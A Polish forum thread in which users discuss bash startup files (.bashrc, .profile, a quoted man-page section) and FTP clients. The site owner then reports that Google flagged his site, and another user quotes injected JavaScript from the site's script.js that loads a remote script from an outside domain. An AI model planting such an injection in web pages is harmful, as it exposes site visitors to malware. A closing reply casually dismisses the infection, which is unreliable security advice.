Skocz do zawartości

Unix, FTP


coder

Rekomendowane odpowiedzi

.bashrc to mamy dla powłoki bash, a wcale taka nie musi być używana, prawda ;-) A jeśli idzie o program pod Windowsem... ja tam uznaję tylko jeden, putty a to co mi do szczęścia potrzebne to już na docelowym systemie, szczególnie ulubiony jest MC.

Odnośnik do komentarza
Udostępnij na innych stronach

.bashrc to mamy dla powłoki bash, a wcale taka nie musi być używana, prawda ;-)

No właśnie... :) Ja zostałem "wychowany" na .profile i czy nie mogło tak pozostać? Musieli dla każdego shella robić inaczej :/

 

Coder: do ftp (i nie tylko) pod Windows również polecam Total Commander.

Odnośnik do komentarza
Udostępnij na innych stronach

No właśnie... :) Ja zostałem "wychowany" na .profile i czy nie mogło tak pozostać?

O ile mnie pamięć nie myli to .profile będzie działać, jeśli je sobie umieścimy w katalogu, w /etc też powinien leżeć profile, który w którymś tam momencie działa... Chociaż trudno powiedzieć w którą stronę systemy idą, na PLD zawsze było bogate życie wewnętrzne, dużo kombinowania, wieczny sojusz z vi ;-) To se ne vrati :-/

Edytowane przez panta_rei
Odnośnik do komentarza
Udostępnij na innych stronach

$ man bash

 

I w sekcji "invocation" mamy:

 

A login shell is one whose first character of argument zero is a -, or one started with the --login option.

An interactive shell is one started without non-option arguments and without the -c option whose standard input and error are both connected to terminals (as determined byisatty(3)), or one started with the -i option. PS1 is set and $- includes i if bash is interactive, allowing a shell script or a startup file to test this state.

The following paragraphs describe how bash executes its startup files. If any of the files exist but cannot be read, bash reports an error. Tildes are expanded in file names as described below under Tilde Expansion in the EXPANSION section.

When bash is invoked as an interactive login shell, or as a non-interactive shell with the --login option, it first reads and executes commands from the file /etc/profile, if that file exists. After reading that file, it looks for ~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that exists and is readable. The --noprofile option may be used when the shell is started to inhibit this behavior.

When a login shell exits, bash reads and executes commands from the files ~/.bash_logout and /etc/bash.bash_logout, if the files exists.

When an interactive shell that is not a login shell is started, bash reads and executes commands from ~/.bashrc, if that file exists. This may be inhibited by using the --norcoption. The --rcfile file option will force bash to read and execute commands from file instead of ~/.bashrc.

When bash is started non-interactively, to run a shell script, for example, it looks for the variable BASH_ENV in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute. Bash behaves as if the following command were executed:

If bash is invoked with the name sh, it tries to mimic the startup behavior of historical versions of sh as closely as possible, while conforming to the POSIX standard as well. When invoked as an interactive login shell, or a non-interactive shell with the --login option, it first attempts to read and execute commands from /etc/profile and ~/.profile, in that order. The --noprofile option may be used to inhibit this behavior. When invoked as an interactive shell with the name sh, bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute. Since a shell invoked as sh does not attempt to read and execute commands from any other startup files, the --rcfile option has no effect. A non-interactive shell invoked with the name sh does not attempt to read any other startup files. When invoked as sh,bash enters posix mode after the startup files are read.

When bash is started in posix mode, as with the --posix command line option, it follows the POSIX standard for startup files. In this mode, interactive shells expand the ENVvariable and commands are read and executed from the file whose name is the expanded value. No other startup files are read.

Bash attempts to determine when it is being run with its standard input connected to a a network connection, as if by the remote shell daemon, usually rshd, or the secure shell daemon sshd. If bash determines it is being run in this fashion, it reads and executes commands from ~/.bashrc, if that file exists and is readable. It will not do this if invoked as sh. The --norc option may be used to inhibit this behavior, and the --rcfile option may be used to force another file to be read, but rshd does not generally invoke the shell with those options or allow them to be specified. if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi but the value of the PATH variable is not used to search for the file name.

http://linux.die.net/man/1/bash Ze spokojem można założyć, że 98% instancji linuksa ma bash jako powłokę. Pozostałymi można się nie przejmować, to są niepoważni ludzie. :D
Odnośnik do komentarza
Udostępnij na innych stronach

Dzięki za pomoc.

 

Gugiel zablokował mi stronę www.coder.pl , że niby są na niej wirusy.

Ściągnąłem wszystko, przeskanowałem i wszystko było czyste, żadnych obcych skryptów też nie ma.

Wygląda na to, że zabezpieczenie antypirackie programów na stronie wydaje im się podobne do wirusa, i co im zrobisz?

Odnośnik do komentarza
Udostępnij na innych stronach

Dzięki za pomoc.

 

Gugiel zablokował mi stronę www.coder.pl , że niby są na niej wirusy.

Ściągnąłem wszystko, przeskanowałem i wszystko było czyste, żadnych obcych skryptów też nie ma.

Wygląda na to, że zabezpieczenie antypirackie programów na stronie wydaje im się podobne do wirusa, i co im zrobisz?

A sprawdzałeś w Narzędziach dla Webmasterów co tam piszą?

Odnośnik do komentarza
Udostępnij na innych stronach

Obejrzyj sobie koniec pliku script.js, masz tam coś takiego:

 

/*fc909b*/
document.write("<script src='http://www.marcocretarola.com/CD3JQMqg.php?id=143583305' type='text/javascript'></" +	  "script>");
/*/fc909b*/

 

To na pewno zamierzony efekt? Bo ta strona też jest na liście zablokowanych.

Odnośnik do komentarza
Udostępnij na innych stronach

Co się przejmujesz. W IE strona będzie działać bez problemów, a większość ludzi niezwiązanych z IT właśnie z tej przeglądarki korzysta.

Edytowane przez jake
Odnośnik do komentarza
Udostępnij na innych stronach

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto

Jedynie zarejestrowani użytkownicy mogą komentować zawartość tej strony.

Zarejestruj nowe konto

Załóż nowe konto. To bardzo proste!

Zarejestruj się

Zaloguj się

Posiadasz już konto? Zaloguj się poniżej.

Zaloguj się
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę.